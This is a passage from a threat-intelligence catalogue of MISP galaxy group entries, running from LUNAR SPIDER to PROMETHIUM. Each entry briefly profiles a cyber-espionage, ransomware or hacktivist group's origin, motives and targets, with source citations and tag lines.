The tag is: *misp-galaxy:groups="Luna Moth"*

LUNAR SPIDER

LUNAR SPIDER is a Russian-speaking, financially motivated threat actor group active since at least 2009. They are responsible for developing several high-profile malware families, including IcedID and Latrodectus. The group is known for its role as an initial access broker in the cybercrime ecosystem, facilitating ransomware campaigns by sharing tools and infrastructures with other groups.^{[[EclecticIQ August 16 2024](/references/79e0a74f-799f-445e-a677-cc08e66f3113)]}

The tag is: *misp-galaxy:groups="LUNAR SPIDER"*

Machete

[Machete](https://app.tidalcyber.com/groups/a3be79a2-3d4f-4697-a8a1-83f0884220af) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://app.tidalcyber.com/groups/a3be79a2-3d4f-4697-a8a1-83f0884220af) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.^{[[Cylance Machete Mar 2017](https://app.tidalcyber.com/references/92a9a311-1e0b-4819-9856-2dfc8dbfc08d)]}^{[[Securelist Machete Aug 2014](https://app.tidalcyber.com/references/fc7be240-bd15-4ec4-bc01-f8891d7210d9)]}^{[[ESET Machete July 2019](https://app.tidalcyber.com/references/408d5e33-fcb6-4d21-8be9-7aa5a8bd3385)]}<sup>[[360 Machete Sep

2020](https://app.tidalcyber.com/references/682c843d-1bb8-4f30-9d2e-35e8d41b1976)]</sup>

The tag is: *misp-galaxy:groups="Machete"*

Mad Liberator Ransomware Group

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:groups="Mad Liberator Ransomware Group"*

Magic Hound

[Magic Hound](https://app.tidalcyber.com/groups/7a9d653c-8812-4b96-81d1-b0a27ca918b4) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.^{[[FireEye APT35 2018](https://app.tidalcyber.com/references/71d3db50-4a20-4d8e-a640-4670d642205c)]}^{[[ClearSky Kittens Back 3 August 2020](https://app.tidalcyber.com/references/a10c6a53-79bb-4454-b444-cfb9136ecd36)]}^{[[Certfa Charming Kitten January 2021](https://app.tidalcyber.com/references/c38a8af6-3f9b-40c3-8122-a2a51eb50664)]}^{[[Secureworks COBALT ILLUSION Threat Profile](https://app.tidalcyber.com/references/8d9a5b77-2516-4ad5-9710-4c8165df2882)]}^{[[Proofpoint TA453 July2021](https://app.tidalcyber.com/references/a987872f-2176-437c-a38f-58676b7b12de)]}

The tag is: *misp-galaxy:groups="Magic Hound"*

Malteiro

[Malteiro](https://app.tidalcyber.com/groups/803f8018-6e45-5b0f-978f-1fe96b217120) is a financially motivated criminal group that is likely based in Brazil and has been active since at least November 2019. The group operates and distributes the [Mispadu](https://app.tidalcyber.com/software/758e5226-6015-5cc7-af4b-20fa35c9bac1) banking trojan via a Malware-as-a-Service (MaaS) business model. [Malteiro](https://app.tidalcyber.com/groups/803f8018-6e45-5b0f-978f-1fe96b217120) mainly targets victims throughout Latin America (particularly Mexico) and Europe (particularly Spain and Portugal).^{[[SCILabs Malteiro 2021](https://app.tidalcyber.com/references/c6948dfc-b133-556b-a8ac-b3a4dba09c0e)]}

The tag is: *misp-galaxy:groups="Malteiro"*

MedusaLocker Ransomware Actors

MedusaLocker is a ransomware-as-a-service ("RaaS") operation that has been active since September 2019. U.S. cybersecurity authorities indicate that MedusaLocker operators have

primarily targeted victims in the healthcare sector, among other unspecified sectors. Initial access for MedusaLocker intrusions originally came via phishing and spam email campaigns, but since 2022 has typically occurred via exploit of vulnerable Remote Desktop Protocol devices.^{[[HC3 Analyst Note MedusaLocker Ransomware February 2023](/references/49e314d6-5324-41e0-8bee-2b3e08d5e12f)]}

This object represents behaviors associated with operators of MedusaLocker ransomware. As MedusaLocker is licensed on a RaaS model, affiliates likely do not act as a single cohesive unit, and behaviors observed during particular attacks may vary. Behaviors associated with samples of MedusaLocker ransomware are represented in the "MedusaLocker Ransomware" Software object.

Malpedia (Research): https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker

The tag is: *misp-galaxy:groups="MedusaLocker Ransomware Actors"*

Medusa Ransomware Actors

Medusa is a ransomware operation that reportedly launched in June 2021. In 2023, the group launched a website used to publicize alleged victims. The group appears to be independent of the similarly named "MedusaLocker" operation.^{[[Bleeping Computer Medusa Ransomware March 12 2023](/references/21fe1d9e-17f1-49e2-b05f-78e9160f5414)]}

According to data collected by the [ransomwatch project](https://github.com/joshhighet/ransomwatch) and analyzed by Tidal, Medusa actors publicly claimed around 90 victims through September 2023, ranking it ninth out of the 50+ ransomware operations in the dataset. These victims come from a wide variety of industry sectors and localities.^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]}

The tag is: *misp-galaxy:groups="Medusa Ransomware Actors"*

menuPass

[menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.^{[[DOJ APT10 Dec 2018](https://app.tidalcyber.com/references/3ddc68b4-53f1-4fa5-b7f3-4e5d7d9661f2)]}^{[[District Court of NY APT10 Indictment December 2018](https://app.tidalcyber.com/references/79ccbc74-b9c4-4dc8-91ae-1d15c4db563b)]}

[menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.^{[[Palo Alto menuPass Feb 2017](https://app.tidalcyber.com/references/ba4f7d65-73ec-4726-b1f6-f2443ffda5e7)]}<sup>[[Crowdstrike CrowdCast Oct 2013](https://app.tidalcyber.com/references/2062a229-58b3-4610-99cb-

8907e7fbb350)]</sup>^{[[FireEye Poison Ivy](https://app.tidalcyber.com/references/c189447e-a903-4dc2-a38b-1f4accc64e20)]}^{[[PWC Cloud Hopper April 2017](https://app.tidalcyber.com/references/fe741064-8cd7-428b-bdb9-9f2ab7e92489)]}^{[[FireEye APT10 April 2017](https://app.tidalcyber.com/references/2d494df8-83e3-45d2-b798-4c3bcf55f675)]}^{[[DOJ APT10 Dec 2018](https://app.tidalcyber.com/references/3ddc68b4-53f1-4fa5-b7f3-4e5d7d9661f2)]}^{[[District Court of NY APT10 Indictment December 2018](https://app.tidalcyber.com/references/79ccbc74-b9c4-4dc8-91ae-1d15c4db563b)]}

The tag is: *misp-galaxy:groups="menuPass"*

Metador

[Metador](https://app.tidalcyber.com/groups/a3a3a1d3-7fe7-5578-8c5f-9c0f2f68079b) is a suspected cyber espionage group that was first reported in September 2022. [Metador](https://app.tidalcyber.com/groups/a3a3a1d3-7fe7-5578-8c5f-9c0f2f68079b) has targeted a limited number of telecommunication companies, internet service providers, and universities in the Middle East and Africa. Security researchers named the group [Metador](https://app.tidalcyber.com/groups/a3a3a1d3-7fe7-5578-8c5f-9c0f2f68079b) based on the "I am meta" string in one of the group's malware samples and the expectation of Spanish-language responses from C2 servers.^{[[SentinelLabs Metador Sept 2022](https://app.tidalcyber.com/references/137474b7-638a-56d7-9ce2-ab906f207175)]}

The tag is: *misp-galaxy:groups="Metador"*

MirrorFace

MirrorFace is a China-aligned threat actor known for cyberespionage activities, primarily targeting organizations in Japan. It is considered a subgroup under the APT10 umbrella and has been active since at least 2019. The group targets media, defense-related companies, think tanks, diplomatic organizations, financial institutions, academic institutions, and manufacturers.^{[[ESET MirrorFace March 18 2025](/references/d8f4d661-ad8a-451d-9799-afe36e200bb3)]}

The tag is: *misp-galaxy:groups="MirrorFace"*

Moafee

[Moafee](https://app.tidalcyber.com/groups/4510ce41-27b9-479c-9bf3-a328b77bae29) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://app.tidalcyber.com/groups/f2c2db08-624c-46b9-b7ed-b22c21b81813). ^{[[Haq 2014](https://app.tidalcyber.com/references/4e10228d-d9da-4ba4-bca7-d3bbdce42e0d)]}

The tag is: *misp-galaxy:groups="Moafee"*

Mofang

[Mofang](https://app.tidalcyber.com/groups/8bc69792-c26d-4493-87e3-d8e47605fed8) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.^{[[FOX-IT May 2016 Mofang](https://app.tidalcyber.com/references/f1a08b1c-f7d5-4a91-b3b7-0f042b297842)]}

The tag is: *misp-galaxy:groups="Mofang"*

Molerats

[Molerats](https://app.tidalcyber.com/groups/679b7b6b-9659-4e56-9ffd-688a6fab01b6) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.^{[[DustySky](https://app.tidalcyber.com/references/b9e0770d-f54a-4ada-abd1-65c45eee00fa)]}^{[[DustySky2](https://app.tidalcyber.com/references/4a3ecdec-254c-4eb4-9126-f540bb21dffe)]}^{[[Kaspersky MoleRATs April 2019](https://app.tidalcyber.com/references/38216a34-5ffd-4e79-80b1-7270743b728e)]}^{[[Cybereason Molerats Dec 2020](https://app.tidalcyber.com/references/81a10a4b-c66f-4526-882c-184436807e1d)]}

The tag is: *misp-galaxy:groups="Molerats"*

Moonstone Sleet

[Moonstone Sleet](https://app.tidalcyber.com/groups/33a5fa48-89ee-5c0b-9c9c-e0ee69032fca) is a North Korean-linked threat actor executing both financially motivated attacks and espionage operations. The group previously overlapped significantly with another North Korean-linked entity, [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08), but has differentiated its tradecraft since 2023. [Moonstone Sleet](https://app.tidalcyber.com/groups/33a5fa48-89ee-5c0b-9c9c-e0ee69032fca) is notable for creating fake companies and personas to interact with victim entities, as well as developing unique malware such as a variant delivered via a fully functioning game.^{[[Microsoft Moonstone Sleet 2024](https://app.tidalcyber.com/references/b9ee14c9-75fe-552e-81b5-a1fd5aa916d7)]}

The tag is: *misp-galaxy:groups="Moonstone Sleet"*

Moses Staff

[Moses Staff](https://app.tidalcyber.com/groups/a41725c5-eb3a-4772-8d1e-17c3bbade79c) is a suspected Iranian threat group that has primarily targeted Israeli companies since at least September 2021. [Moses Staff](https://app.tidalcyber.com/groups/a41725c5-eb3a-4772-8d1e-17c3bbade79c) openly stated their motivation in attacking Israeli companies is to cause damage by leaking stolen sensitive data and encrypting the victim's networks without a ransom demand.^{[[Checkpoint MosesStaff Nov 2021](https://app.tidalcyber.com/references/d6da2849-cff0-408a-9f09-81a33fc88a56)]}

Security researchers assess [Moses Staff](https://app.tidalcyber.com/groups/a41725c5-eb3a-4772-8d1e-17c3bbade79c) is politically motivated, and has targeted government, finance, travel, energy, manufacturing, and utility companies outside of Israel as well, including those in Italy, India, Germany, Chile, Turkey, the UAE, and the US.^{[[Cybereason StrifeWater Feb 2022](https://app.tidalcyber.com/references/30c911b2-9a5e-4510-a78c-c65e84398c7e)]}

The tag is: *misp-galaxy:groups="Moses Staff"*

MoustachedBouncer

[MoustachedBouncer](https://app.tidalcyber.com/groups/f31df12e-66ea-5a49-87bc-2bc1756a89fc) is a cyberespionage group that has been active since at least 2014 targeting foreign embassies in Belarus.^{[[MoustachedBouncer ESET August 2023](https://app.tidalcyber.com/references/9070f14b-5d5e-5f6d-bcac-628478e01242)]}

The tag is: *misp-galaxy:groups="MoustachedBouncer"*

MuddyWater

[MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6) is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS).^{[[CYBERCOM Iranian Intel Cyber January 2022](https://app.tidalcyber.com/references/671e1559-c7dc-4cb4-a9a1-21776f2ae56a)]} Since at least 2017, [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6) has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.^{[[Unit 42 MuddyWater Nov 2017](https://app.tidalcyber.com/references/dcdee265-2e46-4f40-95c7-6a2683edb23a)]}^{[[Symantec MuddyWater Dec 2018](https://app.tidalcyber.com/references/a8e58ef1-91e1-4f93-b2ff-faa7a6365f5d)]}^{[[ClearSky MuddyWater Nov 2018](https://app.tidalcyber.com/references/a5f60f45-5df5-407d-9f68-bc5f7c42ee85)]}^{[[ClearSky MuddyWater June 2019](https://app.tidalcyber.com/references/9789d60b-a417-42dc-b690-24ccb77b8658)]}^{[[Reaqta MuddyWater November 2017](https://app.tidalcyber.com/references/ecd28ccf-edb6-478d-a8f1-da630df42127)]}^{[[DHS CISA AA22-055A MuddyWater February 2022](https://app.tidalcyber.com/references/e76570e1-43ab-4819-80bc-895ede67a205)]}^{[[Talos MuddyWater Jan 2022](https://app.tidalcyber.com/references/a2d79c6a-16d6-4dbd-b8a5-845dcc36212d)]}

The tag is: *misp-galaxy:groups="MuddyWater"*

Mustang Panda

[Mustang Panda](https://app.tidalcyber.com/groups/4a4641b1-7686-49da-8d83-00d8013f4b47) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://app.tidalcyber.com/groups/4a4641b1-7686-49da-8d83-00d8013f4b47) has targeted government entities, nonprofits, religious,

and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.^{[[Crowdstrike MUSTANG PANDA June 2018](https://app.tidalcyber.com/references/35e72170-b1ec-49c9-aefe-a24fc4302fa6)]}^{[[Anomali MUSTANG PANDA October 2019](https://app.tidalcyber.com/references/70277fa4-60a8-475e-993a-c74241b76127)]}^{[[Secureworks BRONZE PRESIDENT December 2019](https://app.tidalcyber.com/references/019889e0-a2ce-476f-9a31-2fc394de2821)]}

The tag is: *misp-galaxy:groups="Mustang Panda"*

Mustard Tempest

[Mustard Tempest](https://app.tidalcyber.com/groups/0898e7cb-118e-5eeb-b856-04e56ed18182) is an initial access broker that has operated the [SocGholish](https://app.tidalcyber.com/software/ab84f259-9b9a-51d8-a68a-2bcd7512d760) distribution network since at least 2017. [Mustard Tempest](https://app.tidalcyber.com/groups/0898e7cb-118e-5eeb-b856-04e56ed18182) has partnered with [Indrik Spider](https://app.tidalcyber.com/groups/3c7ad595-1940-40fc-b9ca-3e649c1e5d87) to provide access for the download of additional malware including LockBit, [WastedLocker](https://app.tidalcyber.com/software/0ba6ee8d-2b29-4980-8e55-348ea05f00ad), and remote access tools.^{[[Microsoft Ransomware as a Service](https://app.tidalcyber.com/references/833018b5-6ef6-5327-9af5-1a551df25cd2)]}^{[[Microsoft Threat Actor Naming July 2023](https://app.tidalcyber.com/references/78a8137d-694e-533d-aed3-6bd48fc0cd4a)]}^{[[Secureworks Gold Prelude Profile](https://app.tidalcyber.com/references/b16ae37d-5244-5c1e-92a9-e494b5a9ef49)]}^{[[SocGholish-update](https://app.tidalcyber.com/references/01d9c3ba-29e2-5090-b399-0e7adf50a6b9)]}

The tag is: *misp-galaxy:groups="Mustard Tempest"*

Naikon

[Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People's Liberation Army's (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).^{[[CameraShy](https://app.tidalcyber.com/references/9942b6a5-6ffb-4a26-9392-6c8bb9954997)]} Active since at least 2010, [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).^{[[CameraShy](https://app.tidalcyber.com/references/9942b6a5-6ffb-4a26-9392-6c8bb9954997)]}^{[[Baumgartner Naikon 2015](https://app.tidalcyber.com/references/09302b4f-7f71-4289-92f6-076c685f0810)]}

While [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) shares some characteristics with [APT30](https://app.tidalcyber.com/groups/be45ff95-6c74-4000-bc39-63044673d82f), the two groups do not appear to be exact matches.^{[[Baumgartner Golovkin Naikon 2015](https://app.tidalcyber.com/references/5163576f-0b2c-49ba-8f34-b7efe3f3f6db)]}

The tag is: *misp-galaxy:groups="Naikon"*

NEODYMIUM

[NEODYMIUM](https://app.tidalcyber.com/groups/3a660ef3-9954-4252-8946-f903f3f42d0c) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://app.tidalcyber.com/groups/cc798766-8662-4b55-8536-6d057fbc58f0) due to overlapping victim and campaign characteristics. ^{[[Microsoft NEODYMIUM Dec 2016](https://app.tidalcyber.com/references/87c9f8e4-f8d1-4f19-86ca-6fd18a33890b)]} ^{[[Microsoft SIR Vol 21](https://app.tidalcyber.com/references/619b9cf8-7201-45de-9c36-834ccee356a9)]} [NEODYMIUM](https://app.tidalcyber.com/groups/3a660ef3-9954-4252-8946-f903f3f42d0c) is reportedly associated closely with [BlackOasis](https://app.tidalcyber.com/groups/428dc121-a593-4981-9127-f958ae0a0fdd) operations, but evidence that the group names are aliases has not been identified. ^{[[CyberScoop BlackOasis Oct 2017](https://app.tidalcyber.com/references/a8224ad5-4688-4382-a3e7-1dd3ed74ebce)]}

The tag is: *misp-galaxy:groups="NEODYMIUM"*

NightSpire

NightSpire is a new extortion group active in the ransomware ecosystem since early March 2025. It is associated with the Rbfs ransomware group and is known for targeting various sectors opportunistically, primarily seeking to exfiltrate sensitive information and monetize through extortion or by selling the victim's data.^{[[S-RM March 25 2025](/references/ffa47884-4eef-445e-99e3-02f64cc2f7fc)]}

The tag is: *misp-galaxy:groups="NightSpire"*

Nomadic Octopus

[Nomadic Octopus](https://app.tidalcyber.com/groups/5f8c6ee0-f302-403b-b712-f1e3df064c0c) is a Russian-speaking cyber espionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://app.tidalcyber.com/groups/5f8c6ee0-f302-403b-b712-f1e3df064c0c) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.^{[[Security Affairs DustSquad Oct 2018](https://app.tidalcyber.com/references/0e6b019c-cf8e-40a7-9e7c-6a7dc5309dc6)]}^{[[Securelist Octopus Oct 2018](https://app.tidalcyber.com/references/77407057-53f1-4fde-bc74-00f73d417f7d)]}^{[[ESET Nomadic Octopus 2018](https://app.tidalcyber.com/references/50dcb3f0-1461-453a-aab9-38c2e259173f)]}

The tag is: *misp-galaxy:groups="Nomadic Octopus"*

NoName057(16)

NoName057(16), also known as NoName05716, 05716nnm or Nnm05716, is a hacktivist group supporting Russia since March 2022. The NoName057(16) group is primarily focused on disrupting websites important to nations critical of Russia's invasion of Ukraine. Distributed Denial of Service

(DDoS) attacks act as the method to conduct such disruption efforts. Initial attacks focused on Ukrainian news websites, while later shifting to NATO associated targets.^{[[blog.avast.com January 16 2023](/references/b621071e-6b0f-4e27-b179-2f28b5d66b7f)]}^{[[Sekoia.io Blog March 1 2024](/references/05a13b06-0034-41be-8a43-c80823b8de9e)]}^{[[Avast Threat Labs September 6 2022](/references/6de89788-7fd5-4779-abd4-86cf7ccf8ee8)]}^{[[Avast Threat Labs January 11 2023](/references/bf09f587-2c3f-4030-83fe-3cb6cc413c95)]}^{[[Canadian Centre for Cyber Security September 15 2023](/references/9ea7b125-ed3a-41a1-9010-4893e0164710)]}^{[[NETSCOUT October 17 2024](/references/ec2e5084-5e96-4fc9-936c-1595c0dfd5f6)]}^{[[SentinelOne January 12 2023](/references/bbd7e1ee-4f36-482a-b679-15ef0f1c91d3)]}

The tag is: *misp-galaxy:groups="NoName057(16)"*

Nova RaaS

Nova appears to refer to a ransomware-as-a-service ("RaaS") infrastructure provider. Public threat reporting indicates that affiliates leveraging the Nova victim extortion site are known to use a Rust-based ransomware developed by the RALord ransomware operation, although an original ".nova" ransomware family has been identified as well.^{[[SonicWall Nova Ransomware April 11 2025](/references/4926be5f-0eea-44cc-a73e-2f173eee901b)]}^{[[Cyble April 17 2025](/references/cad46e02-2e68-4347-be1c-7be910adee95)]}

The tag is: *misp-galaxy:groups="Nova RaaS"*

OilRig

[OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. The group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.^{[[FireEye APT34 Dec 2017](https://app.tidalcyber.com/references/88f41728-08ad-4cd8-a418-895738d68b04)]}^{[[Palo Alto OilRig April 2017](https://app.tidalcyber.com/references/fb561cdd-03f6-4867-b5b5-7e4deb11f0d0)]}^{[[ClearSky OilRig Jan 2017](https://app.tidalcyber.com/references/f19f9ad4-bb31-443b-9c26-87946469a0c3)]}^{[[Palo Alto OilRig May 2016](https://app.tidalcyber.com/references/53836b95-a30a-4e95-8e19-e2bb2f18c738)]}^{[[Palo Alto OilRig Oct 2016](https://app.tidalcyber.com/references/14bbb07b-caeb-4d17-8e54-047322a5930c)]}^{[[Unit42 OilRig Playbook 2023](https://app.tidalcyber.com/references/e38902bb-9bab-5beb-817b-668a67a76541)]}^{[[Unit 42 QUADAGENT July 2018](https://app.tidalcyber.com/references/320f49df-7b0a-4a6a-8542-17b0f56c94c9)]}

The tag is: *misp-galaxy:groups="OilRig"*

OPERATOR PANDA

OPERATOR PANDA is a "China-nexus" adversary that relies heavily on vulnerability exploits to gain initial access into telecommunications and professional services organizations.^{[[CrowdStrike 2025 Global Threat Report](/references/a69b0ce3-f314-4b32-bfb3-b1380c4f0ec4)]}

The tag is: *misp-galaxy:groups="OPERATOR PANDA"*

Orangeworm

[Orangeworm](https://app.tidalcyber.com/groups/863b7013-133d-4a82-93d2-51b53a8fd30e) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage.^{[[Symantec Orangeworm April 2018](https://app.tidalcyber.com/references/eee5efa1-bbc6-44eb-8fae-23002f351605)]} Reverse engineering of [Kwampirs](https://app.tidalcyber.com/software/35ac4018-8506-4025-a9e3-bd017700b3b3), directly associated with [Orangeworm](https://app.tidalcyber.com/groups/863b7013-133d-4a82-93d2-51b53a8fd30e) activity, indicates significant functional and development overlaps with [Shamoon]([Cylera Kwampirs 2022(https://app.tidalcyber.com/references/06442111-2c71-5efb-9530-cabeba159a91)]</sup>

The tag is: *misp-galaxy:groups="Orangeworm"*

Patchwork

[Patchwork](https://app.tidalcyber.com/groups/32385eba-7bbf-439e-acf2-83040e97165a) is a cyber espionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://app.tidalcyber.com/groups/32385eba-7bbf-439e-acf2-83040e97165a) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://app.tidalcyber.com/groups/32385eba-7bbf-439e-acf2-83040e97165a) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.^{[[Cymmetria Patchwork](https://app.tidalcyber.com/references/d4e43b2c-a858-4285-984f-f59db5c657bd)]} ^{[[Symantec Patchwork](https://app.tidalcyber.com/references/a6172463-56e2-49f2-856d-f4f8320d7c6e)]}^{[[TrendMicro Patchwork Dec 2017](https://app.tidalcyber.com/references/15465b26-99e1-4956-8c81-cda3388169b8)]}^{[[Volexity Patchwork June 2018](https://app.tidalcyber.com/references/d3ed7dd9-0941-4160-aa6a-c0244c63560f)]}

The tag is: *misp-galaxy:groups="Patchwork"*

Phobos Ransomware Actors

This object represents a collection of MITRE ATT&CK® Techniques and other objects (Software and/or Campaigns) related to the Phobos ransomware-as-a-service ("RaaS") operation. Further background & contextual details can be found in the References tab below.

The tag is: *misp-galaxy:groups="Phobos Ransomware Actors"*

PirateJack Actor

"PirateJack" is a username used by a threat actor on underground cybercriminal forums. The actor has been observed attempting to sell numerous accesses to corporate networks mainly gained through compromise of VPN software.^{[[CYJAX Initial Access Broker Report June 2024](/references/5a20c423-c4c0-4601-9e4d-028df0297568)]}

The tag is: *misp-galaxy:groups="PirateJack Actor"*

PittyTiger

[PittyTiger](https://app.tidalcyber.com/groups/60936d3c-37ed-4116-a407-868da3aa4446) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.^{[[Bizeul 2014](https://app.tidalcyber.com/references/a4617ef4-e6d2-47e7-8f81-68e7380279bf)]}^{[[Villeneuve 2014](https://app.tidalcyber.com/references/a156e24e-0da5-4ac7-b914-29f2f05e7d6f)]}

The tag is: *misp-galaxy:groups="PittyTiger"*

PLATINUM

[PLATINUM](https://app.tidalcyber.com/groups/f036b992-4c3f-47b7-a458-94ac133bce74) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. ^{[[Microsoft PLATINUM April 2016](https://app.tidalcyber.com/references/d0ec5037-aa7f-48ee-8d37-ff8fb2c8c297)]}

The tag is: *misp-galaxy:groups="PLATINUM"*

Play

[Play](https://app.tidalcyber.com/groups/60f686d0-ae3d-5662-af32-119217dee2a7) is a ransomware group that has been active since at least 2022 deploying [Playcrypt](https://app.tidalcyber.com/software/2d3d6034-21f7-5211-ab8a-338dada7082f) ransomware against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Play](https://app.tidalcyber.com/groups/60f686d0-ae3d-5662-af32-119217dee2a7) actors employ a double-extortion model, encrypting systems after exfiltrating data, and are presumed by security researchers to operate as a closed group.^{[[CISA Play Ransomware Advisory December 2023](https://app.tidalcyber.com/references/b47f5430-25d4-5502-9219-674daed4e2c5)]}^{[[Trend Micro Ransomware Spotlight Play July 2023](https://app.tidalcyber.com/references/399eac4c-5638-595c-9ee6-997dcd2d47c3)]}

The tag is: *misp-galaxy:groups="Play"*

PLUMP SPIDER

A cybercriminal actor that uses voice phishing to gain access to compromise environments and initiate fraudulent transactions from victim payment systems.^{[[CrowdStrike 2025 Global Threat Report](/references/a69b0ce3-f314-4b32-bfb3-b1380c4f0ec4)]}

The tag is: *misp-galaxy:groups="PLUMP SPIDER"*

PlushDaemon

According to ESET researchers, PlushDaemon is a "China-aligned" advanced persistent threat group that engages in espionage operations. Active since 2019, the group is especially notable for carrying out a supply chain compromise where a legitimate software installer was replaced by a malicious one that led to the download of a custom, modular backdoor known as SlowStepper.^{[[ESET PlushDaemon January 22 2025](/references/f35fc467-17c4-4eff-a9cb-921bfb3cc5d1)]}

The tag is: *misp-galaxy:groups="PlushDaemon"*

POLONIUM

[POLONIUM](https://app.tidalcyber.com/groups/7fbd7514-76e9-4696-8c66-9f95546e3315) is a Lebanon-based group that has primarily targeted Israeli organizations, including critical manufacturing, information technology, and defense industry companies, since at least February 2022. Security researchers assess [POLONIUM](https://app.tidalcyber.com/groups/7fbd7514-76e9-4696-8c66-9f95546e3315) has coordinated their operations with multiple actors affiliated with Iran's Ministry of Intelligence and Security (MOIS), based on victim overlap as well as common techniques and tooling.^{[[Microsoft POLONIUM June 2022](https://app.tidalcyber.com/references/689ff1ab-9fed-4aa2-8e5e-78dac31e6fbd)]}

The tag is: *misp-galaxy:groups="POLONIUM"*

Poseidon Group

[Poseidon Group](https://app.tidalcyber.com/groups/553e2b7b-170c-4eb5-812b-ea33fe1dd4a0) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://app.tidalcyber.com/groups/553e2b7b-170c-4eb5-812b-ea33fe1dd4a0) as a security firm. ^{[[Kaspersky Poseidon Group](https://app.tidalcyber.com/references/e53bc63e-986f-4d48-a6b7-ed8e93494ed5)]}

The tag is: *misp-galaxy:groups="Poseidon Group"*

Predatory Sparrow

Predatory Sparrow is a hacktivist group known for targeting Iranian infrastructure, including financial institutions, steel mills, rail systems, and gas station payment systems. The group acts against the Iranian regime and supports Israel's objectives in Iran.<sup>[[CyberScoop June 17

2025](/references/5b1f92f0-fa2f-4c19-9ec5-164e5f957e73)]</sup>

The tag is: *misp-galaxy:groups="Predatory Sparrow"*

PROMETHIUM

[PROMETHIUM](https://app.tidalcyber.com/groups/cc798766-8662-4b55-8536-6d057fbc58f0) is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. [PROMETHIUM](https://app.tidalcyber.com/groups/cc798766-8662-4b55-8536-6d057fbc58f0) has demonstrated similarity to another activity group called [NEODYMIUM](https://app.tidalcyber.com/groups/3a660ef3-9954-4252-8946-f903f3f42d0c) due to overlapping victim and campaign characteristics.^{[[Microsoft NEODYMIUM Dec 2016](https://app.tidalcyber.com/references/87c9f8e4-f8d1-4f19-86ca-6fd18a33890b)]}^{[[Microsoft SIR Vol 21](https://app.tidalcyber.com/references/619b9cf8-7201-45de-9c36-834ccee356a9)]}^{[[Talos Promethium June 2020](https://app.tidalcyber.com/references/188d990e-f0be-40f2-90f3-913dfe687d27)]}

